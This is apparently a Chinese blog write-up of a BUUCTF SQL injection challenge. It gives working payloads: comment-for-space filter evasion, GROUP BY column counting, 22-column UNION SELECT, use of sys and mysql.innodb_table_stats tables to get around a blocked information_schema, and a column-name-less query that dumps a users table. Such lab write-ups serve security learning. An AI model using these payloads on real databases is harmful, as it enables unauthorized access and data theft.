admin管理员组

文章数量:1638801

登录进去后,首先尝试了union注入,但是发现空格被过滤,于是使用/**/绕过。

然后判断列数,但是发现注释符被过滤了,无法使用,于是在SQL语句后加一个单引号闭合后面的语句limit 0,1;'

由于or被禁用,所以order by也无法使用,改为group by'/**/group/**/by/**/22,'

最后判断出列数有22列,回显位置为2和3.

title='/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'&content=&ac=add

由于过滤or无法使用information_schema库,这里我根据题解又学会了information_schema的bypass。

使用sys库,来完成表名的查询sys.schema_auto_increment_columns

但是buuctf这里的环境好像有点不一样。。。显示这个表不存在,难道BUU改了下环境?

title='/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22&content=&ac=add


然后看了看BUU的题解,用的是另外一个表mysql.innodb_table_stats,根据聊一聊bypass information_schema 这篇文章所说,现在网络上能搜索到的文章大部分都是利用innoDB引擎绕过对information_schema的过滤,但是mysql默认是关闭InnoDB存储引擎的,好吧,把这两个表都记住,以后都试试。

查表:

select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats

无列名注入:

title='/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22


总结:
1,information_schema的bypass:

  • sys.schema_auto_increment_columns

  • Mysql5.6及以上版本中 innodb_index_statsinnodb_table_stats这两个表中都包含所有新创建的数据库和表名

2,无列名注入:https://www.jianshu/p/6eba3370cfab

本文标签: BUUCTF无列名informationschemabypass